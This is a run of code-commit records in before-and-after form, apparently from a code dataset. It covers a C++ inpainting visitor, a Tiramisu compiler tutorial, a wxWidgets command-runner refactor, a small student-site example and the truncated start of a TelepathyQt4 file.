VertexDescriptorType source)\n {\n std::cout << \"InpaintingVisitor::PotentialMatchMade: target \" << target[0] << \" \" << target[1]\n << \" source: \" << source[0] << \" \" << source[1] << std::endl;\n\n if(!this->MaskImage->IsValid(ITKHelpers::CreateIndex(source)))\n {\n std::stringstream ss;\n ss << \"InpaintingVisitor::PotentialMatchMade: Potential source pixel \" << source[0] << \" \" << source[1] << \" is not valid in the mask!\";\n throw std::runtime_error(ss.str());\n }\n\n \/\/if(!this->MaskImage->HasHoleNeighborInRegion(ITKHelpers::CreateIndex(target), this->MaskImage->GetLargestPossibleRegion()))\n if(!this->MaskImage->HasHoleNeighbor(ITKHelpers::CreateIndex(target)))\n {\n std::stringstream ss;\n ss << \"InpaintingVisitor::PotentialMatchMade: Potential target pixel \" << target[0] << \" \" << target[1]\n << \" does not have a hole neighbor (which means it is not on the boundary)!\";\n throw std::runtime_error(ss.str());\n }\n }\n\n bool AcceptMatch(VertexDescriptorType target, VertexDescriptorType source) const\n {\n float energy = 0.0f;\n return AcceptanceVisitor.AcceptMatch(target, source, energy);\n }\n\n void FinishVertex(VertexDescriptorType targetNode, VertexDescriptorType sourceNode)\/\/ __attribute__((optimize(0)))\n {\n \/\/ Mark this pixel and the area around it as filled, and mark the mask in this region as filled.\n \/\/ Determine the new boundary, and setup the nodes in the boundary queue.\n\n std::cout << \"InpaintingVisitor::FinishVertex()\" << std::endl;\n\n \/\/ Construct the region around the vertex\n itk::Index<2> indexToFinish = ITKHelpers::CreateIndex(targetNode);\n\n itk::ImageRegion<2> regionToFinish = ITKHelpers::GetRegionInRadiusAroundPixel(indexToFinish, PatchHalfWidth);\n\n \/\/ Make sure the region is entirely inside the image\n \/\/ (because we allow target patches to not be entirely inside the image to handle the case where\n \/\/ the hole boundary is near the image boundary)\n regionToFinish.Crop(this->Image->GetLargestPossibleRegion());\n\n \/\/ Update the priority function. This must be done BEFORE the mask is filled,\n \/\/ as the old mask is required in some of the Priority functors to determine where to update some things.\n this->PriorityFunction->Update(sourceNode, targetNode, this->NumberOfFinishedPatches);\n\n \/\/ Mark all the pixels in this region as filled in the mask.\n ITKHelpers::SetRegionToConstant(this->MaskImage, regionToFinish, this->MaskImage->GetValidValue());\n\n \/\/ Initialize all vertices in the newly filled region because they may now be valid source nodes.\n \/\/ (You may not want to do this in some cases (i.e. if the descriptors needed cannot be\n \/\/ computed on newly filled regions))\n\n if(this->AllowNewPatches)\n {\n itk::ImageRegionConstIteratorWithIndex<TImage> gridIterator(Image, regionToFinish);\n while(!gridIterator.IsAtEnd())\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(gridIterator.GetIndex());\n\n InitializeVertex(v);\n ++gridIterator;\n }\n }\n\n \/\/ Add pixels that are on the new boundary to the queue, and mark other pixels as not in the queue.\n itk::ImageRegionConstIteratorWithIndex<Mask> imageIterator(this->MaskImage, regionToFinish);\n\n while(!imageIterator.IsAtEnd())\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(imageIterator.GetIndex());\n\n \/\/ This makes them ignored if they are still in the boundaryNodeQueue.\n \/\/if(this->MaskImage->HasHoleNeighborInRegion(imageIterator.GetIndex(), this->MaskImage->GetLargestPossibleRegion()))\n if(this->MaskImage->HasHoleNeighbor(imageIterator.GetIndex()))\n {\n \/\/ Note: must set the value in the priority map before pushing the node\n \/\/ into the queue (as the priority is what\n \/\/ determines the node's position in the queue).\n float priority = this->PriorityFunction->ComputePriority(imageIterator.GetIndex());\n \/\/std::cout << \"updated priority: \" << priority << std::endl;\n put(this->PriorityMap, v, priority);\n\n put(this->BoundaryStatusMap, v, true);\n this->BoundaryNodeQueue.push(v);\n }\n else\n {\n put(this->BoundaryStatusMap, v, false);\n }\n\n ++imageIterator;\n }\n\n \/\/ std::cout << \"FinishVertex after traversing finishing region there are \"\n \/\/ << BoostHelpers::CountValidQueueNodes(BoundaryNodeQueue, BoundaryStatusMap)\n \/\/ << \" valid nodes in the queue.\" << std::endl;\n \n \/\/ Sometimes pixels that are not in the finishing region that were boundary pixels are no longer\n \/\/ boundary pixels after the filling. Check for these.\n \/\/ E.g. (H=hole, B=boundary, V=valid, Q=query, F=filled, N=new boundary,\n \/\/ R=old boundary pixel that needs to be removed because it is no longer on the boundary)\n \/\/ Before filling\n\n \/* V V V B H H H H\n * V V V B H H H H\n * V V V B H H H H\n * V V V B B Q B B\n * V V V V V V V V\n *\/\n \/\/ After filling\n\n \/* V V V B H H H H\n * V V V B H H H H\n * V V V B F F F H\n * V V V B F F F B\n * V V V V F F F V\n *\/\n \/\/ New boundary\n \/* V V V B H H H H\n * V V V B H H H H\n * V V V B N N N H\n * V V V R F F N B\n * V V V V F F F V\n *\/\n\n \/\/ Expand the region\n itk::ImageRegion<2> expandedRegion = ITKHelpers::GetRegionInRadiusAroundPixel(indexToFinish, PatchHalfWidth + 1);\n expandedRegion.Crop(this->Image->GetLargestPossibleRegion()); \/\/ Make sure the region is entirely inside the image (to allow for target regions near the image boundary)\n std::vector<itk::Index<2> > boundaryPixels = ITKHelpers::GetBoundaryPixels(expandedRegion);\n for(unsigned int i = 0; i < boundaryPixels.size(); ++i)\n {\n if(!this->MaskImage->HasHoleNeighbor(boundaryPixels[i])) \/\/ the region (the entire image) can be omitted, as this function automatically checks if the pixels are inside the image\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(boundaryPixels[i]);\n put(this->BoundaryStatusMap, v, false);\n }\n }\n\n \/\/ std::cout << \"FinishVertex after removing stale nodes outside finishing region there are \"\n \/\/ << BoostHelpers::CountValidQueueNodes(BoundaryNodeQueue, BoundaryStatusMap)\n \/\/ << \" valid nodes in the queue.\" << std::endl;\n\n this->NumberOfFinishedPatches++;\n\n std::cout << \"Leave InpaintingVisitor::FinishVertex()\" << std::endl;\n } \/\/ end FinishVertex\n\n void InpaintingComplete() const\n {\n std::cout << \"Inpainting complete!\" << std::endl;\n \/\/ We prefer to write the final image in the calling function, as there we will know what type it is (i.e. do we need to convert back to RGB? etc.)\n }\n\n}; \/\/ end InpaintingVisitor\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <isl\/set.h>\n#include <isl\/union_map.h>\n#include <isl\/union_set.h>\n#include <isl\/ast_build.h>\n#include <isl\/schedule.h>\n#include <isl\/schedule_node.h>\n\n#include <tiramisu\/debug.h>\n#include <tiramisu\/core.h>\n\n#include <string.h>\n#include <Halide.h>\n\n\/**\n The goal of this tutorial is to implement in Tiramisu a code that is\n equivalent to the following\n\n for (int i = 0; i < 10; i++)\n for (int j = 0; j < 20; j++)\n output[i, j] = input[i, j] + i + 2;\n*\/\n\n#define NN 10\n#define MM 20\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n \/\/ Set default tiramisu options.\n global::set_default_tiramisu_options();\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n\n \/\/ Declare the function tut_02.\n function tut_02(\"tut_02\");\n\n constant N_const(\"N\", expr((int32_t) NN), p_int32, true, NULL, 0, &tut_02);\n constant M_const(\"M\", expr((int32_t) MM), p_int32, true, NULL, 0, &tut_02);\n\n \/\/ Declare variables\n var i(\"i\"), j(\"j\");\n\n \/\/ Declare a wrapper around the input.\n computation input(\"[N, M]->{input[i,j]: 0<=i<N and 0<=j<M}\", expr(), false, p_uint8, &tut_02);\n\n \/\/ Declare expression and output computation.\n expr e = input(i, j) + cast(p_uint8, i)+ (uint8_t)4;\n computation output(\"[N, M]->{output[i,j]: 0<=i<N and 0<=j<M}\", e, true, p_uint8, &tut_02);\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n\n \/\/ Set the schedule of the computation.\n var i0(\"i0\"), i1(\"i1\"), j0(\"j0\"), j1(\"j1\");\n output.tile(i, j, 2, 2, i0, j0, i1, j1);\n output.tag_parallel_level(i0);\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n\n buffer b_input(\"b_input\", {expr(NN), expr(MM)}, p_uint8, a_input, &tut_02);\n buffer b_output(\"b_output\", {expr(NN), expr(MM)}, p_uint8, a_output, &tut_02);\n\n \/\/ Map the computations to a buffer.\n input.set_access(\"{input[i,j]->b_input[i,j]}\");\n output.set_access(\"{output[i,j]->b_output[i,j]}\");\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n\n \/\/ Set the arguments to tut_02\n tut_02.set_arguments({&b_input, &b_output});\n \/\/ Generate code\n tut_02.gen_time_space_domain();\n tut_02.gen_isl_ast();\n tut_02.gen_halide_stmt();\n tut_02.gen_halide_obj(\"build\/generated_fct_developers_tutorial_02.o\");\n\n \/\/ Some debugging\n tut_02.dump_iteration_domain();\n tut_02.dump_halide_stmt();\n\n \/\/ Dump all the fields of the tut_02 class.\n tut_02.dump(true);\n\n return 0;\n}\n\/**\n * Current limitations:\n * - Note that the type of the invariants N and M are \"int32_t\". This is\n * important because these invariants are used later as loop bounds and the\n * type of the bounds and the iterators should be the same for correct code\n * generation. This implies that the invariants should be of type \"int32_t\".\n *\/\n<commit_msg>update developer tuto_02<commit_after>#include <tiramisu\/tiramisu.h>\n\n\/**\n The goal of this tutorial is to implement in Tiramisu a code that is\n equivalent to the following\n\n for (int i = 0; i < 10; i++)\n for (int j = 0; j < 20; j++)\n output[i, j] = input[i, j] + i + 2;\n*\/\n\n#define NN 10\n#define MM 20\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n \/\/ Set default tiramisu options.\n global::set_default_tiramisu_options();\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n\n \/\/ Declare the function tut_02.\n function tut_02(\"tut_02\");\n\n constant N_const(\"N\", expr((int32_t) NN), p_int32, true, NULL, 0, &tut_02);\n constant M_const(\"M\", expr((int32_t) MM), p_int32, true, NULL, 0, &tut_02);\n\n \/\/ Declare variables\n var i(\"i\"), j(\"j\");\n\n \/\/ Declare a wrapper around the input.\n computation input(\"[N, M]->{input[i,j]: 0<=i<N and 0<=j<M}\", expr(), false, p_uint8, &tut_02);\n\n \/\/ Declare expression and output computation.\n expr e = input(i, j) + cast(p_uint8, i)+ (uint8_t)4;\n computation output(\"[N, M]->{output[i,j]: 0<=i<N and 0<=j<M}\", e, true, p_uint8, &tut_02);\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n\n \/\/ Set the schedule of the computation.\n var i0(\"i0\"), i1(\"i1\"), j0(\"j0\"), j1(\"j1\");\n output.tile(i, j, 2, 2, i0, j0, i1, j1);\n output.tag_parallel_level(i0);\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n\n buffer b_input(\"b_input\", {expr(NN), expr(MM)}, p_uint8, a_input, &tut_02);\n buffer b_output(\"b_output\", {expr(NN), expr(MM)}, p_uint8, a_output, &tut_02);\n\n \/\/ Map the computations to a buffer.\n input.set_access(\"{input[i,j]->b_input[i,j]}\");\n output.set_access(\"{output[i,j]->b_output[i,j]}\");\n\n\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n\n \/\/ Set the arguments to tut_02\n tut_02.set_arguments({&b_input, &b_output});\n \/\/ Generate code\n tut_02.gen_time_space_domain();\n tut_02.gen_isl_ast();\n tut_02.gen_halide_stmt();\n tut_02.gen_halide_obj(\"build\/generated_fct_developers_tutorial_02.o\");\n\n \/\/ Some debugging\n tut_02.dump_iteration_domain();\n tut_02.dump_halide_stmt();\n\n \/\/ Dump all the fields of the tut_02 class.\n tut_02.dump(true);\n\n return 0;\n}\n\/**\n * Current limitations:\n * - Note that the type of the invariants N and M are \"int32_t\". This is\n * important because these invariants are used later as loop bounds and the\n * type of the bounds and the iterators should be the same for correct code\n * generation. This implies that the invariants should be of type \"int32_t\".\n *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"ride\/runner.h\"\n#include <wx\/utils.h>\n#include <wx\/process.h>\n#include <wx\/txtstrm.h>\n\n#include \"ride\/mainwindow.h\"\n\nclass PipedProcess;\nclass Process;\n\nconst int RUNNER_CONSOLE_OPTION = wxEXEC_HIDE_CONSOLE;\n\/\/ const int RUNNER_CONSOLE_OPTION = wxEXEC_SHOW_CONSOLE;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nCommand::Command(const wxString& r, const wxString& c) : root(r), cmd(c) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ idle timer to keep the process updated since wx apperently doesn't do that\nclass IdleTimer : public wxTimer {\npublic:\n IdleTimer(SingleRunner::Pimpl* p) : pimpl_(p) {\n }\n void Notify();\n\n SingleRunner::Pimpl* pimpl_;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SingleRunner::Pimpl {\n explicit Pimpl(SingleRunner* p) : parent_(p), processes_(NULL), delete_processes_(NULL), pid_(0), has_exit_code_(false), exit_code_(-1) {\n assert(parent_);\n idle_timer_.reset(new IdleTimer(this));\n }\n ~Pimpl();\n\n void Append(const wxString& s) {\n parent_->Append(s);\n }\n\n void MarkForDeletion(Process *process);\n\n bool RunCmd(const Command& cmd);\n\n void Notify();\n\n void OnCompleted() {\n assert(parent_);\n parent_->Completed();\n idle_timer_->Stop();\n }\n\n SingleRunner* parent_;\n Process* processes_; \/\/ the current running process or NULL\n Process* delete_processes_; \/\/ process to be deleted at the end\n long pid_; \/\/ the id of the current or previous running process\n std::unique_ptr<IdleTimer> idle_timer_;\n\n int exit_code() const {\n assert(has_exit_code_);\n return exit_code_;\n }\n bool has_exit_code() const {\n return has_exit_code_;\n }\n void set_exit_code(int x) {\n exit_code_ = x;\n has_exit_code_ = true;\n }\n\nprivate:\n bool has_exit_code_;\n int exit_code_;\n};\n\nvoid IdleTimer::Notify() {\n pimpl_->Notify();\n}\n\nclass Process : public wxProcess\n{\npublic:\n Process(SingleRunner::Pimpl* project, const wxString& cmd)\n : wxProcess(wxPROCESS_DEFAULT), cmd_(cmd), null_members_called_(false)\n {\n runner_ = project;\n Redirect();\n }\n\n virtual void OnTerminate(int pid, int status) {\n if (runner_) {\n assert(runner_->pid_ == pid);\n\n \/\/ show the rest of the output\n while (HasInput()) {}\n runner_->MarkForDeletion(this);\n\n runner_->Append(wxString::Format(wxT(\"Process %u ('%s') terminated with exit code %d.\"),\n pid, cmd_.c_str(), status));\n runner_->Append(\"\");\n runner_->set_exit_code(status);\n runner_->OnCompleted();\n }\n else {\n \/\/ if we are here that should mean we have called have called NullMember()\n \/\/ That should mean that we are done with the object and we\n \/\/ can delete this here, *fingers crossed*\n assert(null_members_called_);\n delete this;\n }\n }\n\n virtual bool HasInput() {\n \/\/ original source: http:\/\/sourceforge.net\/p\/fourpane\/code\/HEAD\/tree\/trunk\/ExecuteInDialog.cpp\n\n \/\/ The original used wxTextInputStream to read a line at a time. Fine, except when there was no \\n, whereupon the thing would hang\n \/\/ Instead, read the stream (which may occasionally contain non-ascii bytes e.g. from g++) into a memorybuffer, then to a wxString\n\n bool hasInput = false;\n\n while (IsInputAvailable()) {\n wxMemoryBuffer buf;\n do {\n const char c = GetInputStream()->GetC();\n\n if (GetInputStream()->Eof()) break;\n if (c == wxT('\\n')) break;\n buf.AppendByte(c);\n } while (IsInputAvailable());\n\n wxString line((const char*)buf.GetData(), wxConvUTF8, buf.GetDataLen()); \/\/ Convert the line to utf8\n runner_->Append(line);\n hasInput = true;\n }\n\n while (IsErrorAvailable())\n {\n wxMemoryBuffer buf;\n do\n {\n const char c = GetErrorStream()->GetC();\n \n if (GetErrorStream()->Eof()) break;\n if (c == wxT('\\n')) break;\n buf.AppendByte(c);\n } while (IsErrorAvailable());\n\n wxString line((const char*)buf.GetData(), wxConvUTF8, buf.GetDataLen());\n runner_->Append(line);\n hasInput = true;\n }\n\n return hasInput;\n }\n\n void NullMembers() {\n runner_ = NULL;\n null_members_called_ = true;\n }\n\nprotected:\n SingleRunner::Pimpl *runner_;\n wxString cmd_;\n bool null_members_called_;\n};\n\nvoid SingleRunner::Pimpl::Notify(){\n if (processes_) {\n \/\/ sometimes the output hangs until we close the window\n \/\/ seems to be waiting for output or something\n \/\/ getting the input in a callback seems to remove the waiting...\n processes_->HasInput();\n }\n}\n\nbool SingleRunner::Pimpl::RunCmd(const Command& c) {\n Process* process = new Process(this, c.cmd);\n Append(\"> \" + c.cmd);\n\n wxExecuteEnv env;\n env.cwd = c.root;\n\n const int flags = wxEXEC_ASYNC | RUNNER_CONSOLE_OPTION;\n\n const long process_id = wxExecute(c.cmd, flags, process, &env);\n \n \/\/ async call\n if (!process_id) {\n Append(wxT(\"Execution failed.\"));\n delete process;\n return false;\n }\n\n assert(processes_ == NULL);\n assert(pid_ == 0);\n processes_ = process;\n pid_ = process_id;\n\n idle_timer_->Start(100);\n return true;\n}\n\nvoid SingleRunner::Pimpl::MarkForDeletion(Process *process)\n{\n assert(processes_ == process);\n processes_ = NULL;\n delete_processes_ = process;\n}\n\nSingleRunner::Pimpl:: ~Pimpl() {\n if (processes_ ) processes_->NullMembers();\n if (delete_processes_) delete_processes_->NullMembers();\n delete delete_processes_;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSingleRunner::SingleRunner() : pimpl(new Pimpl(this)) {\n}\n\nSingleRunner::~SingleRunner() {\n}\n\nbool SingleRunner::RunCmd(const Command& cmd) {\n assert(pimpl);\n assert(this->IsRunning() == false);\n return pimpl->RunCmd(cmd);\n}\n\nbool SingleRunner::IsRunning() const {\n const bool has_process = pimpl->processes_ != NULL;\n if (has_process == false) return false;\n const bool exists = wxProcess::Exists(pimpl->processes_->GetPid());\n pimpl->processes_->HasInput();\n return !pimpl->has_exit_code();\n}\n\nvoid SingleRunner::Completed() {\n \/\/ empty\n}\n\nint SingleRunner::GetExitCode() {\n assert(this->IsRunning() == false);\n assert(pimpl->pid_ != 0);\n return pimpl->exit_code();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass MultiRunner::Runner : public SingleRunner {\npublic:\n Runner(MultiRunner* r) : runner_(r) {\n assert(runner_);\n }\n\n virtual void Append(const wxString& str) {\n assert(runner_);\n runner_->Append(str);\n }\n virtual void Completed() {\n assert(runner_);\n runner_->RunNext(GetExitCode());\n }\n bool Run(const Command& cmd) {\n return RunCmd(cmd);\n }\nprivate:\n MultiRunner* runner_;\n};\n\nMultiRunner::MultiRunner(){\n}\n\nMultiRunner::~MultiRunner(){\n}\n\nbool MultiRunner::RunCmd(const Command& cmd) {\n commands_.push_back(cmd);\n if (IsRunning() == true) return true;\n return RunNext(0);\n}\n\nbool MultiRunner::RunNext(int last_exit_code) {\n assert(IsRunning() == false);\n if (commands_.empty()) return false;\n\n if (last_exit_code == 0) {\n last_runner_ = runner_;\n runner_.reset(new Runner(this));\n const bool run_result = runner_->Run(*commands_.begin());\n if (run_result) {\n commands_.erase(commands_.begin());\n }\n return run_result;\n }\n else {\n commands_.clear();\n return false;\n }\n}\n\nbool MultiRunner::IsRunning() const {\n if (runner_) {\n return runner_->IsRunning();\n }\n return false;\n}\n<commit_msg>started on simplifying the runner implementation<commit_after>#include \"ride\/runner.h\"\n#include <wx\/utils.h>\n#include <wx\/process.h>\n#include <wx\/txtstrm.h>\n\n#include \"ride\/mainwindow.h\"\n\nclass PipedProcess;\nclass Process;\n\nconst int RUNNER_CONSOLE_OPTION = wxEXEC_HIDE_CONSOLE;\n\/\/ const int RUNNER_CONSOLE_OPTION = wxEXEC_SHOW_CONSOLE;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nCommand::Command(const wxString& r, const wxString& c) : root(r), cmd(c) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ idle timer to keep the process updated since wx apparently doesn't do that\nclass IdleTimer : public wxTimer {\npublic:\n IdleTimer(SingleRunner::Pimpl* p) : pimpl_(p) {\n }\n void Notify();\n\n SingleRunner::Pimpl* pimpl_;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SingleRunner::Pimpl {\n explicit Pimpl(SingleRunner* p) : parent_(p), processes_(NULL), pid_(0), has_exit_code_(false), exit_code_(-1) {\n assert(parent_);\n idle_timer_.reset(new IdleTimer(this));\n }\n ~Pimpl();\n\n void Append(const wxString& s) {\n parent_->Append(s);\n }\n\n bool RunCmd(const Command& cmd);\n\n void Notify();\n\n void OnCompleted() {\n assert(parent_);\n parent_->Completed();\n idle_timer_->Stop();\n }\n\n SingleRunner* parent_;\n Process* processes_; \/\/ the current running process or NULL\n long pid_; \/\/ the id of the current or previous running process\n std::unique_ptr<IdleTimer> idle_timer_;\n\n int exit_code() const {\n assert(has_exit_code_);\n return exit_code_;\n }\n bool has_exit_code() const {\n return has_exit_code_;\n }\n void set_exit_code(int x) {\n exit_code_ = x;\n has_exit_code_ = true;\n }\n\nprivate:\n bool has_exit_code_;\n int exit_code_;\n};\n\nvoid IdleTimer::Notify() {\n pimpl_->Notify();\n}\n\nclass Process : public wxProcess\n{\npublic:\n Process(SingleRunner::Pimpl* project, const wxString& cmd)\n : wxProcess(wxPROCESS_DEFAULT), cmd_(cmd)\n {\n runner_ = project;\n Redirect();\n }\n\n virtual void OnTerminate(int pid, int status) {\n assert(runner_);\n assert(runner_->pid_ == pid);\n\n \/\/ show the rest of the output\n while (HasInput()) {}\n \n runner_->Append(wxString::Format(wxT(\"Process %u ('%s') terminated with exit code %d.\"),\n pid, cmd_.c_str(), status));\n runner_->Append(\"\");\n runner_->set_exit_code(status);\n runner_->OnCompleted();\n }\n\n virtual bool HasInput() {\n \/\/ original source: http:\/\/sourceforge.net\/p\/fourpane\/code\/HEAD\/tree\/trunk\/ExecuteInDialog.cpp\n\n \/\/ The original used wxTextInputStream to read a line at a time. Fine, except when there was no \\n, whereupon the thing would hang\n \/\/ Instead, read the stream (which may occasionally contain non-ascii bytes e.g. from g++) into a memorybuffer, then to a wxString\n\n bool hasInput = false;\n\n while (IsInputAvailable()) {\n wxMemoryBuffer buf;\n do {\n const char c = GetInputStream()->GetC();\n\n if (GetInputStream()->Eof()) break;\n if (c == wxT('\\n')) break;\n buf.AppendByte(c);\n } while (IsInputAvailable());\n\n wxString line((const char*)buf.GetData(), wxConvUTF8, buf.GetDataLen()); \/\/ Convert the line to utf8\n runner_->Append(line);\n hasInput = true;\n }\n\n while (IsErrorAvailable())\n {\n wxMemoryBuffer buf;\n do\n {\n const char c = GetErrorStream()->GetC();\n \n if (GetErrorStream()->Eof()) break;\n if (c == wxT('\\n')) break;\n buf.AppendByte(c);\n } while (IsErrorAvailable());\n\n wxString line((const char*)buf.GetData(), wxConvUTF8, buf.GetDataLen());\n runner_->Append(line);\n hasInput = true;\n }\n\n return hasInput;\n }\n\nprotected:\n SingleRunner::Pimpl *runner_;\n wxString cmd_;\n};\n\nSingleRunner::Pimpl::~Pimpl() {\n delete processes_;\n}\n\nvoid SingleRunner::Pimpl::Notify(){\n if (processes_) {\n \/\/ sometimes the output hangs until we close the window\n \/\/ seems to be waiting for output or something\n \/\/ getting the input in a callback seems to remove the waiting...\n processes_->HasInput();\n }\n}\n\nbool SingleRunner::Pimpl::RunCmd(const Command& c) {\n Process* process = new Process(this, c.cmd);\n Append(\"> \" + c.cmd);\n\n wxExecuteEnv env;\n env.cwd = c.root;\n\n const int flags = wxEXEC_ASYNC | RUNNER_CONSOLE_OPTION;\n\n const long process_id = wxExecute(c.cmd, flags, process, &env);\n \n \/\/ async call\n if (!process_id) {\n Append(wxT(\"Execution failed.\"));\n delete process;\n return false;\n }\n\n assert(processes_ == NULL);\n assert(pid_ == 0);\n processes_ = process;\n pid_ = process_id;\n\n idle_timer_->Start(100);\n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSingleRunner::SingleRunner() : pimpl(new Pimpl(this)) {\n}\n\nSingleRunner::~SingleRunner() {\n}\n\nbool SingleRunner::RunCmd(const Command& cmd) {\n assert(pimpl);\n assert(this->IsRunning() == false);\n return pimpl->RunCmd(cmd);\n}\n\nbool SingleRunner::IsRunning() const {\n const bool has_process = pimpl->processes_ != NULL;\n if (has_process == false) return false;\n const bool exists = wxProcess::Exists(pimpl->processes_->GetPid());\n pimpl->processes_->HasInput();\n return !pimpl->has_exit_code();\n}\n\nvoid SingleRunner::Completed() {\n \/\/ empty\n}\n\nint SingleRunner::GetExitCode() {\n assert(this->IsRunning() == false);\n assert(pimpl->pid_ != 0);\n return pimpl->exit_code();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass MultiRunner::Runner : public SingleRunner {\npublic:\n Runner(MultiRunner* r) : runner_(r) {\n assert(runner_);\n }\n\n virtual void Append(const wxString& str) {\n assert(runner_);\n runner_->Append(str);\n }\n virtual void Completed() {\n assert(runner_);\n runner_->RunNext(GetExitCode());\n }\n bool Run(const Command& cmd) {\n return RunCmd(cmd);\n }\nprivate:\n MultiRunner* runner_;\n};\n\nMultiRunner::MultiRunner(){\n}\n\nMultiRunner::~MultiRunner(){\n}\n\nbool MultiRunner::RunCmd(const Command& cmd) {\n commands_.push_back(cmd);\n if (IsRunning() == true) return true;\n return RunNext(0);\n}\n\nbool MultiRunner::RunNext(int last_exit_code) {\n assert(IsRunning() == false);\n if (commands_.empty()) return false;\n\n if (last_exit_code == 0) {\n last_runner_ = runner_;\n runner_.reset(new Runner(this));\n const bool run_result = runner_->Run(*commands_.begin());\n if (run_result) {\n commands_.erase(commands_.begin());\n }\n return run_result;\n }\n else {\n commands_.clear();\n return false;\n }\n}\n\nbool MultiRunner::IsRunning() const {\n if (runner_) {\n return runner_->IsRunning();\n }\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * program to mimik university site.\n * source available at (Github repo - MIT licence):\n * http:\/\/dstjrd.ir\/s\/cppx\n * https:\/\/github.com\/mohsend\/cpp-examples\n *\/\n\n#include <iostream>\n#include \"Csite.hpp\"\n#include \"Cstudent.hpp\"\n#include \"Clesson.hpp\"\n\nusing namespace std;\n\nint main()\n{\n\tClesson lessons[5];\n\tCstudent stu(\"Mohsen Dastjedi Zade\", \"90259100270\");\n\t\n\tstu.addLessonObj();\n\tCsite site(stu);\n\tsite.mainMenu();\n\t\n\treturn 0;\n}\n<commit_msg>changed a number<commit_after>\/*\n * program to mimik university site.\n * source available at (Github repo - MIT licence):\n * http:\/\/dstjrd.ir\/s\/cppx\n * https:\/\/github.com\/mohsend\/cpp-examples\n *\/\n\n#include <iostream>\n#include \"Csite.hpp\"\n#include \"Cstudent.hpp\"\n#include \"Clesson.hpp\"\n\nusing namespace std;\n\nint main()\n{\n\tClesson lessons[5];\n\tCstudent stu(\"Mohsen Dastjedi Zade\", \"90000001\");\n\t\n\tstu.addLessonObj();\n\tCsite site(stu);\n\tsite.mainMenu();\n\t\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2010 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2010 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms 